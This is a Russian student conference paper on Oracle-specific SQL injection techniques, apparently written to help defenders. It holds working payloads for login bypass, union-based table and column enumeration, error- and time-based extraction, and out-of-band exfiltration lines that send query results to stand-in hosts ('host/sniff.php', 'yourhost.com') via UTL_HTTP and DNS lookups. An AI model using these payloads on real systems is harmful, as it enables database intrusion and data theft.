Статья:

Особенности SQL-инъекций в СУБД Oracle

Конференция: XLV Студенческая международная заочная научно-практическая конференция «Молодежный научный форум: технические и математические науки»

Секция: Технические науки

Выходные данные
Мунтьянов Д.Н. Особенности SQL-инъекций в СУБД Oracle // Молодежный научный форум: Технические и математические науки: электр. сб. ст. по мат. XLV междунар. студ. науч.-практ. конф. № 5(45). URL: https://nauchforum.ru/archive/MNF_tech/5(45).pdf (дата обращения: 23.04.2024)
Лауреаты определены. Конференция завершена
Эта статья набрала 2 голоса
Мне нравится
Дипломы
лауреатов
Сертификаты
участников
Дипломы
лауреатов
Сертификаты
участников
на печатьскачать .pdfподелиться

Особенности SQL-инъекций в СУБД Oracle

Мунтьянов Дмитрий Николаевич
студент, Самарский университет, РФ, г. Самара
Додонов Михаил Витальевич
научный руководитель, доц., Самарский университет, РФ, г. Самара

 

SQL-инъекция – самый распространённый метод атаки на веб-сайты или ПО, взаимодействующие с системой управления базой данных. На текущий момент данный тип атаки, наряду с другими инъекциями, находится на первом месте в списке самых опасных векторов атак на веб-приложения OWASP Top-10.

Проблема веб-приложений, подверженных данному типу атаки, заключается в том, что недостаточная фильтрация входного потока данных, идущего от пользователя, приводит к возможности внедрения SQL-кода и, следовательно, нарушению логики работы запроса к базе данных (БД). Как именно это происходит, и какими операторами языка SQL пользуются злоумышленники для добычи информации, зависит от СУБД, а также от версии этой СУБД. Об отличительных особенностях СУБД Oracle и будет идти речь в данной статье. Знания об этих особенностях помогут специалистам, работающим с СУБД Oracle, более надёжно защитить разрабатываемые ими системы.

Рассмотрим пример простейшей SQL-инъекции. Допустим, у нас есть простая система идентификации и аутентификации. К базе данных приходит запрос вида:

SELECT * FROM users WHERE USERNAME=’user1’ AND PASSWORD=‘pass1’

При этом данные, передаваемые в поля USERNAME и PASSWORD, поступают от внешнего пользователя приложения. Если никакой фильтрации этих данных не производится, то злоумышленник может легко войти в систему под логином пользователя user1, введя «user1’ – », вместо пароля – любое значение. В результате запрос будет выглядеть следующим образом:

SELECT * FROM users WHERE USERNAME=’user1’ – ‘ AND PASSWORD= ‘qwe’.

 Таким образом злоумышленник изменил логику работы запроса, просто отбросил символом комментария остаток запроса, где проверяется пароль, и вошёл под другим пользователем.

Теперь, после того как мы узнали о том, что же такое SQL-инъекция, можно приступить к основной теме – особенностям инъекций в Oracle.

В самом начале при анализе веб-приложения необходимо узнать версию СУБД. Для осуществления этой цели в Oracle можно воспользоваться следующими командами:

SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance;

То, что перед нами именно Oracle можно также по присутствию слова ORA в сообщении об ошибке, если таковое выводится на экран.

Отличительной особенностью Oracle является обязательность конструкции FROM в операторе SELECT. То есть все запросы должны производиться из какой-либо таблицы. Поэтому для действий, не требующих таблицу, используется псевдо таблица SYS.DUAL [1, c.126].

Для определения количества столбцов в основном запросе, как и в других БД, могут использоваться операторы ORDER BY и UNION SELECT null, … FROM SYS.DUAL. Отличительной особенностью является подбор типа значения в столбце, поэтому при проведении union-based инъекции вместо null нужно попробовать подставить данные типа char, int или date (как наиболее часто встречаемые).

Узнать пользователя, под которым мы находимся в системе можно с помощью функции USER или SYS.LOGIN_USER:

example.com/ex.php?id=-1+union+select+null, USER, null, null+from+sys.dual –

Особый интерес представляют таблицы SYS.USER_TABLES и SYS.USER_TAB_COLUMNS, с помощью которых можно узнать таблицы пользователя и поля, используемые в этих таблицах.

example.com/ex.php?id=-1+union+select+null, table_name, null, null+from+ sys.user_tables --

example.com/ex.php?id=-1+union+select+null, column_name, null, null+from+ sys.user_tab_columns –

Интерес так же может представлять информация из следующих стандартных таблиц: SYS.ALL_TABLES, SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.TAB SYS.USER_TRIGGERS.

В Oracle отсутствует оператор LIMIT, поэтому, если в приложении выводится только одна строка запроса, необходимо использовать функции оператор ROWNUM. Конструкция, аналогичная LIMIT, выглядит следующим образом:

SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND Y

В следующем примере осуществляется перебор имен таблиц по заданному номеру строки:

SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X

В ходе анализа приложения полезно знать, какими привилегиями мы обладаем:

SELECT * FROM session_privs

SELECT * FROM dba_role_privs

SELECT * FROM dba_sys_privs

SELECT * FROM user_tab_privs

Знание привилегий позволит узнать возможные способы вывода информации из БД или, например, о возможности чтения/записи локальных файлов сервера.

Следующая команда позволяет узнать путь к файлам базы данных:

SELECT name FROM V$DATAFILE;

Для удалённого выполнения команд на сервере, на котором размещена БД Oracle, существуют следующие возможности:

1)  Выполнение Java-кода (в случае, если java установлена на сервере);

2)  EXTPROC;

3)  DBMS_SCHEDULER.

В Oracle возможно проведение error-based инъекции – информация из базы данных будет выведена в отчёте об ошибке. Для этого можно воспользоваться следующими функциями:

UTL_INADDR.GET_HOST_NAME( );

UTL_INAADR.GET_HOST_ADDRESS( );

Пример такой инъекции выглядит так:

SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual;

Time-based инъекция осуществима в Oracle с помощью функции dbms_pipe.recieve_message(). При верности логического выражения сервер возвращает ответ через определенное время. Таким образом по задержке сервера можно определить, верен или нет наш запрос, и получить информацию из БД. Пример подобной инъекции:

(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),14) ELSE dbms_pipe.receive_message (('xyz'),1) END FROM dual)

Особенно сильно Oracle отличается от других СУБД в плане возможностей для проведения Out-of-Band инъекций. Смысл таких атак в том, что данные из БД посылают по другому каналу данных, а не по тому, через который мы попали в базу. В Oracle существуют следующие функции, с помощью которых возможна реализация данного типа инъекций:

UTL_HTTP.REQUEST()

UTL_INAADR.GET_HOST_ADDRESS( );

SYS.DBMS_LDAP.INIT()

Примеры инъекций с данными функциями:

(SELECT UTL_HTTP.REQUEST('http://host/sniff.php?sniff='||({INJECTION})||'') FROM DUAL)

Сниффер сохранит результаты запроса

(SELECT UTL_HTTP.REQUEST('http://host/'||({INJECTION})||'.html') FROM DUAL)

Результаты запроса окажутся в логах сервера

(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)

SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)

В последних двух случаях результат запроса окажется в трафике ДНС-сервера.

Таким образом, мною были рассмотрены основные особенности при проведении разных типов инъекций на базу данных Oracle. Можно сделать вывод, что основная защита, которая может быть предпринята на уровне БД, – минимальные привилегии для пользователя. Именно привилегии не позволят злоумышленнику воспользоваться функционалом языка для хищения информации из базы данных.

 

Список литературы:
1. Поляков А.М. Безопасность Oracle глазами аудитора: нападение и защита. – М.: ДМК Пресс, 2010. – 336 с.